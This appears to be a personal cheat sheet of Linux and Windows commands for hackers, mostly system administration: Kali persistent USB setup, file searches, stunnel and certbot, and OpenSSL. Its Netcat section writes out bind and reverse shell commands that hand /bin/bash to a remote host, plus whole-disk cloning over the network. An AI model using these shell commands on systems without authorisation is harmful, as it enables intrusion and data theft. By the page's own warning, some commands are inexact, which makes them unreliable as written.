Useful Linux and Windows commands for hackers
WARNING! This is a half-public notes for hackers. Some commands are not complete or exact. Be careful and check the sintaxes before you use them.
Bash or ZSH promt text tuning
Paste this line into your .bashrc file where the promt text is specified.
PS1='\n┌─ ${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u💀\h\[\033[00m\] [$(date +%Y.%m.%d.) \t] [\[\033[01;34m\]\w\[\033[00m\]\]]\n│\n└─▸'
(or for your root user)
PS1='\n\[\033[01;31m\]\]┌─ ${debian_chroot:+($debian_chroot)}\u💀\h [$(date +%Y.%m.%d.) \t] [\w]\n│\n└─▸\[\033[00m\]\]'
Search in file contents with grep in Linux terminal
$ grep -rnw '/path/to/somewhere/' -e 'pattern'
Search by file type and move them or delete them
$ find recup_dir.* -iname "*.jpg" -exec mv {} IMG \;
$ find recup_dir.* -iname "*.jpg" -exec rm {} \;
Make Kali Linux Live USB in Persistence mode
$ dd if=KALI_ISO_IMAGE.iso of=/dev/sdb conv=fsync bs=1M && sync
Make a Linux partition on free space
$ cfdisk /dev/sdb
Make an ext3 filesystem
$ mkfs.ext3 -L persistence /dev/sdb3
Name them as persistence
$ e2label /dev/sdb3 persistence
$ mount /dev/sdb3 /mnt/
$ echo "/ union" > /mnt/persistence.conf
$ umount /dev/sdb3
Kali Linux Live USB in Persistence mode (Encrypted)
$ dd if=ISO of=/dev/sdb bs=1M conv=fsync && sync
$ start=$(du -bcm KALIISO.iso | tail -1 | cut -f 1 -d $'\t')
$ end=$(echo `blockdev --getsize64 /dev/sdb`/1048576 | bc)
$ parted /dev/sdb mkpart primary $start $end
$ cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3
$ cryptsetup luksOpen /dev/sdb3 kali
$ mkfs.ext3 -L persistence /dev/mapper/kali
$ e2label /dev/mapper/kali persistence
$ mount /dev/mapper/kali /mnt/
$ echo "/ union" > /mnt/persistence.conf
$ umount /dev/mapper/kali
$ cryptsetup luksClose /dev/mapper/kali
Boot from USB pendrive in Qemu virtual machine
$ qemu-system-x86_64 --enable-kvm -m 1024 -machine smm=off -hda /dev/sdb
Boot from USB pendrive in VirtualBox
$ VBoxManage internalcommands createrawvmdk -filename usblive.vmdk -rawdisk /dev/sdb
Then open the VMDK in VirtualBox
Remove, delete files (Recursive) if filename contains
$ find . -name "*.bak" -type f
$ find . -name "*.bak" -type f -delete
Disable automount on GNOME (Linux)
$ gsettings set org.gnome.desktop.media-handling automount false
Disable automount on XFCE (Linux)
$ xfconf-query -c thunar-volman -p /automount-drives/enabled -T
Speed up USB write speed on Linux during dd
$ dd if=file of=/media/user/USB/output_file bs=1M conv=fsync && sync
Disable USB storage autosuspend on Linux
$ service laptop-mode stop
$ nano /etc/laptop-mode/laptop-mode.conf
ENABLE_LAPTOP_MODE_TOOLS=0
#!/bin/bash
for dev in /sys/bus/usb/devices/*/power/control; do
echo $dev
echo on > $dev
done
for dev in /sys/bus/usb/devices/*/power/autosuspend; do
echo $dev
echo 0 > $dev
done
Sending file with Netcat
On sender
$ nc -v -w 5 1234 -l < plaintext.txt
On receiver
$ nc -v -w 2 SOURCE_IP 1234 > plaintext.txt
Sending directory with Netcat
On sender
$ tar -cvf – DIRECTORY | nc -l 1234
On receiver
$ nc SOURCE_IP 1234 | tar -xvf
Remote shell with Netcat
On server
$ nc -lvp 1234 -e /bin/bash
On client
$ nc SERVER_IP 1234
Reverse remote shell with Netcat
On server
$ nc -lvp PORT
On client
$ nc -e /bin/bash SERVER_IP PORT
Simple webserver with Netcat
$ { echo -e “HTTP/1.1 200 OK\r\n”; cat netcat.html; } | nc -lkp 80
Disk copy/clone via network with Netcat
$ dd if=/dev/sda | nc -l 1234
$ nc -n IP 1234 | dd of=/dev/sda
Linux Screen scroll buffer
$ echo -e “\n\ntermcapinfo xterm ti@:te@” >> /etc/screenrc
Get listening processes in Linux terminal
$ lsof -n -i4TCP:http|smtp|... | grep LISTEN
Boot Kali Linux pendrive from GRUB command line
Press c for command line
root (hd1)
find /TABTAB
chainloader /EFI/boot/bootx64.img
boot
Simple HTTP Server for a directory in Linux terminal
$ python -m SimpleHTTPServer 8000
Simple PHP Server for a directory with Let’s Encrypt SSL in Linux terminal
$ php -S 0.0.0.0:8080 -t .
Portforward 80 and 443
$ certbot certonly --webroot <DIRECTORY> --email mail@makay.net --agree-tos --rsa-key-size 4096 -d makay.net
$ wget https://dl.eff.org/certbot-auto
$ crontab -e
* 3 * * 6 cd /home/makay && ./certbot-auto renew && service stunnel4 restart
$ sudo nano /etc/stunnel/stunnel.conf
#chroot = /var/run/stunnel
#setuid = stunnel
#setgid = stunnel
fips = no
cert = /etc/letsencrypt/live/datalink.makay.net/fullchain.pem
key = /etc/letsencrypt/live/datalink.makay.net/privkey.pem
[https]
accept = 443
connect = 127.0.0.1:8080
#ciphers = ECDHE-RSA-AES256-GCM-SHA384
sslVersion = all
options = NO_SSLv3
options = NO_TLSv1
options = NO_TLSv1.1
$ service stunnel4 restart
Generate self-signed OpenSSL certificate in Linux terminal
$ openssl genrsa -out key.pem 2048
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365
$ openssl rsa -in key.pem -outform PEM -pubout -out public.pem
VirtualBox can’t see USB devices
$ sudo usermod -a -G vboxsf <USERNAME>
$ sudo usermod -a -G vboxusers <USERNAME>
RELOGIN!
Mount Google Drive on Linux
$ mkdir ~/GoogleDrive
$ sudo add-apt-repository ppa:alessandro-strada/ppa
$ sudo apt install google-drive-ocamlfuse
$ google-drive-ocamlfuse
$ google-drive-ocamlfuse ~/GoogleDrive
$ fusermount -u ~/google-drive (umount)
Enable long file paths on Windows
regedit.exe
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
LongPathsEnabled
Value data: 1
A cikk másodközlése kizárólag kattintható forrásmegjelöléssel engedélyezett!
További cikkek